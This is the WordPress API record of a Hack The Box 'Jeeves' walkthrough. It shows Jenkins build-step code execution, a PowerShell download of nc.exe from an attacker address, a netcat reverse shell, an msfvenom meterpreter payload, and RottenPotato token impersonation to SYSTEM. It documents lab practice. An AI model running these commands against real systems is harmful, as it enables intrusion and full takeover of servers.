{"id":43,"date":"2021-02-10T10:22:54","date_gmt":"2021-02-10T10:22:54","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=43"},"modified":"2021-02-10T10:23:43","modified_gmt":"2021-02-10T10:23:43","slug":"htb-jeeves","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2021\/02\/10\/htb-jeeves\/","title":{"rendered":"HTB – Jeeves Walkthrough"},"content":{"rendered":"\n

nmap<\/p>\n\n\n\n

\"PORT<\/figure>\n\n\n\n

gobuster<\/p>\n\n\n\n

\"root@kali:<\/figure>\n\n\n\n

Jenkins <\/p>\n\n\n\n

Code Execution<\/p>\n\n\n\n

Create a project on Jenkins<\/p>\n\n\n\n

\"(9<\/figure>\n\n\n\n

Low Privileged Shell<\/p>\n\n\n\n

Enter commands under Build Section<\/p>\n\n\n\n

Powershell wget “http:\/\/10.10.14.4:8000\/nc.exe<\/a>” -outfile “nc.exe”<\/p>\n\n\n\n

Nc.exe 10.10.14.4 7777 -e cmd.exe<\/p>\n\n\n\n

\"Build<\/figure>\n\n\n\n

And listened on python SimpleHTTPServer to send the nc.exe file and started to listen on port 7777 with nc for a reverse shell<\/p>\n\n\n\n

\"python<\/figure>\n\n\n\n

Meterpreter Shell<\/p>\n\n\n\n

Create a shell with the following command:<\/p>\n\n\n\n

msfvenom -p windows\/meterpreter\/reverse_tcp LHOST= LPORT= -f exe > shell.exe<\/p>\n\n\n\n

Upload the executable file as shell.exe<\/p>\n\n\n\n

\"Build<\/figure>\n\n\n\n

And listen on metasploit<\/p>\n\n\n\n

\"root@kati<\/figure>\n\n\n\n

Privilege Escalation<\/p>\n\n\n\n

I checked with whoami\/priv command and saw that SeImpersonatePrivilege is enabled<\/p>\n\n\n\n

\"whoami<\/figure>\n\n\n\n

I first loaded incognito with the command load incognito<\/strong> on meterpreter<\/p>\n\n\n\n

list tokens and you’ll see no token available.<\/p>\n\n\n\n

Upload rottenpotato.exe and execute the file <\/p>\n\n\n\n

\"meter<\/figure>\n\n\n\n

list tokens again and you’ll see administrator token now<\/p>\n\n\n\n

\"meter<\/figure>\n\n\n\n

Now impersonate the token and become NT AUTHORITY\\SYSTEM<\/p>\n\n\n\n

\"meterpreter<\/figure>\n","protected":false},"excerpt":{"rendered":"

nmap gobuster Jenkins  Code Execution Create a project on Jenkins Low Privileged Shell Enter commands under Build Section Powershell wget “http:\/\/10.10.14.4:8000\/nc.exe” -outfile “nc.exe” Nc.exe 10.10.14.4 7777 -e cmd.exe And listened on python SimpleHTTPServer to send the nc.exe file and started to listen on port 7777 with nc for a reverse shell Meterpreter Shell Create a… Continue reading HTB – Jeeves Walkthrough<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[17],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/43"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=43"}],"version-history":[{"count":2,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/43\/revisions"}],"predecessor-version":[{"id":57,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/43\/revisions\/57"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=43"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=43"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=43"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}